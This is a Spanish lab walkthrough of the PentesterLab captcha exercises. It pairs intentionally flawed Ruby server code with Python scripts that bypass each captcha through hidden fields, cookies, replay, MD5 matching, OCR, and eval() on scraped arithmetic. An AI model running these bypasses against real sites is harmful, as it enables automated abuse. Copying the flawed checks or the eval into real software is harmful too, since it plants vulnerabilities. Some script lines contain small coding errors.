[Pentesterlab write-up] Web For Pentester II - Captcha

Seguro que todos sabéis lo que es un captcha, normalmente una imagen de un texto para que lo identifiquemos visualmente y lo introduzcamos en un formulario y de esa manera demostrar que somos humanos. Digo una imagen de un texto pero ni que decir tiene ésto que ha evolucionado y hoy en día ya nos encontramos con captchas que nos proponen identificar ciertas formas, responder a diversas preguntas, interpretar un audio, etc. e incluso hacer un simple 'clic' con un algoritmo funcionando "en la sombra"...

Para quien no lo sepa, captcha viene del acrónimo "Completely Automated Public Turing test to tell Computers and Humans Apart " o, en castellano, prueba de Turing completamente automática y pública para diferenciar ordenadores de humanos, y afortunadamente su uso está adoptado ampliamente en los formularios de muchos sitios web.

Hace ya unos cuantos años vimos una serie de recursos para evadir estos "molestos" captchas y hoy de repente nos encontramos con una serie de ejercicios en el laboratorio 'Web for pentester II' que precisamente nos permitirán entender un poco y desarrollar los "bypasses" más sencillos contra esta medida. Así que vamos a ello.


Ejercicio 1:

El primer script tiene un fallo de lógica, básicamente si la aplicación recibe un captcha no válido no escapará correctamente, dándonos acceso sin necesidad de introducir nada.
Basta por lo tanto con interceptar la petición GET y quitar el parámetro captcha:

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample1 < PBase
  
  use Rack::Session::Sequel

  set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example1', 'public')

  def self.path
    "/captcha/example1/"
  end
    
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
  
  get "/submit" do 
    if params[:captcha] and params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      redirect CaptchaExample1.path
    end
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example1', 'public',"captcha.png"))
    str  
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

Ejercicio 2:

En el segundo ejercicio, si inspeccionamos el código fuente, vemos que el valor del captcha se encuentra en un campo oculto del formulario:



Para automatizar el proceso podemos crear un sencillo script en python que utiliza la librería BeautifulSoup para parsear el código HTML de la respuesta y mostrar el valor del campo oculto (captcha):

SCRIPT
import urllib
from bs4 import BeautifulSoup

f = urllib.urlopen("http://vulnerable/captcha/example2/").read()

soup = BeautifulSoup(f,"lxml")

repElemList = soup.find_all('input', type='hidden')

for repElem in repElemList:
        repElemID = repElem.get('value')
        print("El captcha es = %s" % repElemID)

python captcha2.py
El captcha es = H\nxDbfIge

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample2 < PBase
  
  use Rack::Session::Sequel

  set :views, File.join(File.dirname(__FILE__), 'example2', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example2', 'public')

  def self.path
    "/captcha/example2/"
  end
    
  get '/' do
    @answer = gen_captcha
    erb :index
  end
  
  get "/submit" do 
    if params[:captcha] and params[:captcha] != params[:answer]
      @message = "Invalid Captcha!"
      redirect CaptchaExample2.path
    end
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example2', 'public',"captcha.png"))
    str  
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

Ejercicio 3:

El tercer ejemplo es similar al anterior, pero esta vez el valor es devuelto en la cookie:



Así que para automatizar la extracción del captcha basta con crear un script que obtenga el valor de la cookie:

SCRIPT
import requests

r = requests.get('http://vulnerable/captcha/example3')
c = r.cookies
i = c.items()

for name, value in i:
        print(value)

# python captcha3.py
bePZhyiDuK

SERVIDOR
require 'sinatra/base'
require 'sinatra/cookies'
require 'sinatra/contrib'
require 'RMagick'

class CaptchaExample3 < PBase
  

  set :views, File.join(File.dirname(__FILE__), 'example3', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example3', 'public')

  def self.path
    "/captcha/example3/"
  end
    
  get '/' do
    str = gen_captcha
    response.set_cookie("captcha", str)
    erb :index
  end
  
  get "/submit" do 
    if params[:captcha].nil? or params[:captcha] != request.cookies["captcha"]
      @message = "Invalid Captcha!"
      redirect CaptchaExample3.path
    end
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example3', 'public',"captcha.png"))
    str  
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

Ejercicio 4:

En este ejercicio hay un fallo en el token, básicamente si resuelves el captcha una vez y refrescas la página, la información se enviará una y otra vez. Esto significa que se puede escribir un script para volver a enviar la misma información varias veces y saltarse el captcha:



SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample4 < PBase
  use Rack::Session::Sequel  

  set :views, File.join(File.dirname(__FILE__), 'example4', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example4', 'public')

  def self.path
    "/captcha/example4/"
  end

  def self.allwords
    @@allwords
  end

  def self.allwords=(value)
    @@allwords = value
  end

  configure {
    CaptchaExample4.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example4',"dico.txt"))
  }
    
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
  
  get "/submit" do
    if params[:captcha].nil? or params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample4.path
    end
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,15, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example4', 'public',"captcha.png"))
    str  
  end

  def rand_str
    CaptchaExample4.allwords[rand(CaptchaExample4.allwords.size)].chomp
  end

end

Ejercicio 5:

El quinto ejercicio es el último ejemplo de fallos en la implentación de captchas, aquí la debilidad proviene del diccionario utilizado para crear el captcha; sólo hay un número limitado de palabras (imágenes) utilizadas. Por lo tanto podemos escribir un cracker generando una lista de todas las palabras y el MD5 de cada imagen. De esta manera, cuando enviemos el formulario, sólo tendremos que recuperar la imagen, calcular su MD5 y enviar la palabra correspondiente.


SCRIPT
import cookielib, urllib2, urllib
from lxml import etree

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
page = opener.open("http://vulnerable/captcha/example5/")
page.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0)]
reddit = etree.HTML(page.read())

for img in reddit.xpath('//img/@src'):
    print img
a = str(img)
resource = urllib.urlopen('http://vulnerable/captcha/example5/' + a)
output = open("file01.png","wb")
output.write(resource.read())
output.close()

#obtener el hash md5 de cada imagen

import hashlib
 
hasher = hashlib.md5()
with open('file01.png', 'rb') as afile:
    buf = afile.read()
    hasher.update(buf)
md5 = (hasher.hexdigest())
md5= str(md5) 
print md5


# comprobar si el md5 es igual al de la lista creada

if md5 == "FE9AC5CFB7B2438C900ED3E56C0E2CB0" : print "0dayz"
elif md5 == "4c298cfa40e502fb644d9a5fdc9c6a11": print "vulnerability"
elif md5 == "3761dd5bdb3dae4fc7ba3d5652b7bfc0": print "security"
elif md5 == "4039a3ef7fc79e4adb60b43ac108d648": print "admin"
elif md5== "93c985c35fa28eb819d91b5f55be7b65": print "compromise"
elif md5== "3d0a2ab11fb9c59d19a9d95d56ea2e6d": print "hacker"
elif md5 == "539746c4b3beae3e77773fa940d83d78": print "petester"
elif md5 == "fe9ac5cfb7b2438c900ed3e56c0e2cb0" :print "0dayz"
else:     print "END"

# python captcha5.py
captcha.png?t=1496015861.357713
4039a3ef7fc79e4adb60b43ac108d648
admin

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample5 < PBase
  use Rack::Session::Sequel  

  set :views, File.join(File.dirname(__FILE__), 'example5', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example5', 'public')

  def self.path
    "/captcha/example5/"
  end
    
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
  
  get "/submit" do 
    if params[:captcha].nil? or params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample5.path
    end
    session[:captcha] = gen_captcha
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example5', 'public',"captcha.png"))
    str  
  end

  def rand_str
    arr = ['hacker', 'admin', 'pentester', 'security', '0dayz', 'vulnerability', 'compromise']
    arr[rand(arr.size)]
  end

end

Ejercicio 6:

En este  ejercicio para evadir el captcha es necesario utilizar una herramienta de OCR como tesseract. Para ello hay que crear un script que descargue la imagen y luego ejecute tesseract con el siguiente código:  'tesseract imagefile.png' Ésto creará un archivo out.txt con la respuesta al captcha.

Primero instalamos tesseract:

apt-get install tesseract-ocr

Y luego adaptamos un poco el script que encontré en:

http://pwndizzle.blogspot.com/2013/12/breaking-bugcrowds-captcha-with-python.html

SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib,  requests, re, json

def getpage():
    try:
        print("[+] Descargando Pagina");  
        site = urllib.request.urlopen("http://vulnerable/captcha/example6/")
        global cookie
        cookie = site.getheader('Set-Cookie')
        print("-----Cookie extraida: " + cookie);
        site_html = site.read().decode("utf-8")
        #print(site_html)
        global token
        #Obtener el token (10 numeros + . + 7 numeros
        token = re.findall('[(\d+.\d+)]{18}', site_html)
        print ("-----Token: " + token[0])
    except URLError as e:
        print ("*****Error: No puede descargar la pagina*****");

 
def getcaptcha():
    try:
        print("[+] Descargando Captcha"); 
        captchaurl = "http://vulnerable/captcha/example6/captcha.png?t="+token[0] 
        urlretrieve(captchaurl,'captcha.png')
    except URLError as e:
        print ("*****Error: No puede descargar la pagina*****");


def resizer():
 print("[+] Redimensionando...");
 im1 = Image.open("captcha.png")
 width, height = im1.size
 im2 = im1.resize((int(width*5), int(height*5)), Image.BICUBIC)
 im2.save("captcha1.png")

 
def tesseract():
    try:
        print("[+] Ejecutando Tesseract...");
        #Run Tesseract, -psm 8, tells Tesseract we are looking for a single word 
        subprocess.call(['tesseract', 'captcha1.png', 'output', '-psm', '8'])
        f = open ("output.txt","r")
        global cvalue
  #Borra los espacios en blanco y las nuevas lineas de la salida Tesseract
        cvaluelines = f.read().replace(" ", "").split('\n')
        cvalue = cvaluelines[0]
        print("-----Captcha: " + cvalue); 
    except Exception as e:
        print ("Error: " + str(e))

  
def send():
    try:
        print("[+] Enviando peticion...");
        urlconcaptcha = "http://vulnerable/captcha/example6/submit?captcha="+str(cvalue)+"&Submit+Query"
        print("-----URL: " + urlconcaptcha);
        request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
        f = urlopen(request)
        response = f.read().decode('utf-8')
        #print(response)
        exito = re.search('Success', response)
        if exito:
            print("-----Conseguido!")
        else:
            print ("-----Fallo!")
    except Exception as e:
        print ("Error: " + str(e))


print("[+] Inicio!");
#Descarga la página y la parsea
getpage();
#Descarga la imagen del captcha
getcaptcha();
#Redimensiona la imagen del captcha 
resizer();
#Usa Tesseract para analizar la imagen del captcha
tesseract();
#Envia la peticion al sitio con los datos del formulario y el captcha
send();
print("[+] Fin!");

Como véis a continuación todo el proceso de automatización funciona a la perfección:

# python3 autocaptcha.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=6f110071af87122de31805ae6977e8eb104cb7dcc5912c874064b36436b86057; path=/; HttpOnly
-----Token: 1496157822.5596094
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: jasmine
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=jasmine&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class CaptchaExample6 < PBase

  def self.allwords
    @@allwords
  end

  def self.allwords=(value)
    @@allwords = value
  end

  configure { 
    CaptchaExample6.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example6',"dico.txt"))
  }


  def self.path 
    "/captcha/example6/"
  end


  set :public_folder, File.join(File.dirname(__FILE__), 'example6', 'public')
  set :views, File.join(File.dirname(__FILE__), 'example6', 'views')
  use Rack::Session::Sequel


  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end

  get "/submit" do
    if params[:captcha].nil? or params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample6.path
    end
    session[:captcha] = gen_captcha
    erb :win
  end 

  def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50) do
      self.background_color = 'white'
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_family = 'arial'
      self.pointsize = 32
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image.write(File.join(File.dirname(__FILE__), 'example6', 'public',"captcha.png"))
    str
  end

  def rand_str
    CaptchaExample6.allwords[rand(CaptchaExample6.allwords.size)].chomp
  end

Ejercicio 7:

Este ejemplo es igual que el anterior pero el captcha añade unas líneas azules para dificultar el reconocimiento OCR:


Si lanzamos el script anterior veremos que esta vez no es capaz de reconocer el texto de la imagen:

# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=3919e20def48b2cca9e98b72b120f65c1afcb201ba625b255e99f3515590fb28; path=/; HttpOnly
-----Token: 1496161564.1624959
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: Eifiifiéfiéfiiii
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=Eifiifiéfiéfiiii&Submit+Query
Error: 'ascii' codec can't encode character '\ufb01' in position 39: ordinal not in range(128)
[+] Fin!

Tendremos por tanto que quitar las líneas azules. Para ello podemos cambiar el valor del umbral en la imagen con el comando: convert captcha1.png  -white-threshold 1% captcha2.png


Entonces simplemente basta con añadir al final de la función resise la ejecución del comando anterior:

 os.system('convert captcha1.png -white-threshold 1% captcha2.png')

Sin olvidar de añadir el ‘import os’ al principio y cambiar en la url example6 por example7.

# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=d1804f642992f737761a67f313ba9dba5352adffc341b9cd8e35de3d51e1a16c; path=/; HttpOnly
-----Token: 1496162993.1133218
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: scruffy
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example7/submit?captcha=scruffy&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
...
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.background_color = 'white'
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_family = 'arial'
      self.pointsize = 32
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image.write(File.join(File.dirname(__FILE__), 'example7', 'public',"captcha.png"))
    str
  end
....

Ejercicio 8:

Este ejercicio es otra versión de los ejemplos anteriores, sólo que esta vez la imagen está implosionada.

Para convertirla a una forma más legible podemos hacerlo con:

 os.system('convert captcha1.png -white-threshold 20% captcha2.png')
 os.system('convert captcha2.png -implode -0.5 captcha3.png')


# python3 autocaptcha3.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=b8454c97d19349329a0b9f593b12e8d978a6dc5adebb94cf4a491776c573abde; path=/; HttpOnly
-----Token: 1496178022.3857043
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: warren
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example8/submit?captcha=warren&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
 def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.background_color = 'white'
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_family = 'arial'
      self.pointsize = 32
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image = image.implode(0.4) 
    image.write(File.join(File.dirname(__FILE__), 'example8', 'public',"captcha.png"))
    str
  end

Ejercicio 9:

El último captcha es una pregunta aritmética:

Sin embargo, si vemos el código fuente veremos que tanto los números como los operadores se pasan en texto, no como imágenes:



Por lo tanto podemos crear un script que lea el código fuente y extraíga la información (números y operador), calcular la operación aritmética y pasarla en el formulario.

SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib,  requests, re, os


print("[+] Descargando Pagina");  
site = urllib.request.urlopen("http://vulnerable/captcha/example9/")
global cookie
cookie = site.getheader('Set-Cookie')
print("-----Cookie extraida: " + cookie);
site_html = site.read().decode("utf-8")
#print(site_html)
global token
# Obtener el token (10 numeros + . + 7 numeros)
token = re.findall(r'(?:[0-9]|[0-9])+[\+\-\^\*]+(?:[0-9]|[0-9])', site_html)
print ("-----Token: " + token[0])
resultado=eval(token[0])
#print(resultado)
print("[+] Enviando peticion...");
urlconcaptcha = "http://vulnerable/captcha/example9/submit?captcha="+str(resultado)+"&Submit+Query"
print("-----URL: " + urlconcaptcha);
request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
f = urlopen(request)
response = f.read().decode('utf-8')
#print(response)
exito = re.search('Success', response)
if exito:
    print("-----Conseguido!")
else:
    print ("-----Fallo!")

print("[+] Fin!");

# python3 aritmetico2.py
[+] Descargando Pagina
-----Cookie extraida: rack.session=f570e46dad1e64b3c44deebb010efd92524910ba5d46a3078d38dd9e1ecd5948; path=/; HttpOnly
-----Token: 21-7
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example9/submit?captcha=14&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class CaptchaExample9 < PBase


  def self.path 
    "/captcha/example9/"
  end


  set :public_folder, File.join(File.dirname(__FILE__), 'example9', 'public')
  set :views, File.join(File.dirname(__FILE__), 'example9', 'views')
  use Rack::Session::Sequel


  get '/' do
    session[:captcha], @expr = gen_captcha
    erb :index
  end

  get "/submit" do
    if params[:captcha].nil? or params[:captcha].to_i != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample9.path
    end
    session[:captcha] = gen_captcha
    erb :win
  end 

  def gen_captcha
    str = "" 
    ops = ['+', '-', '*' ]
    op = ops[rand(3)]
    i1 = rand(30)
    i2 = rand(30)
    case op 
      when '+'
        return [ i1+i2, "#{i1}+#{i2}" ]
      when '-'
        return [ i1-i2, "#{i1}-#{i2}" ]
      when '*'
        return [ i1*i2, "#{i1}*#{i2}" ]
    end
  end

  def rand_str
    CaptchaExample9.allwords[rand(CaptchaExample9.allwords.size)].chomp
  end

end


Y hasta aquí las pruebas para evadir captchas. Nos vemos en los siguientes ejercicios de ‘Web for pentester II


[Pentesterlab write-ups by Hackplayers] Web For Pentester II:

SQL Injections
Authentication
Captcha
Authorization & Mass Assignment
Randomness Issues & MongoDB injection

Comentarios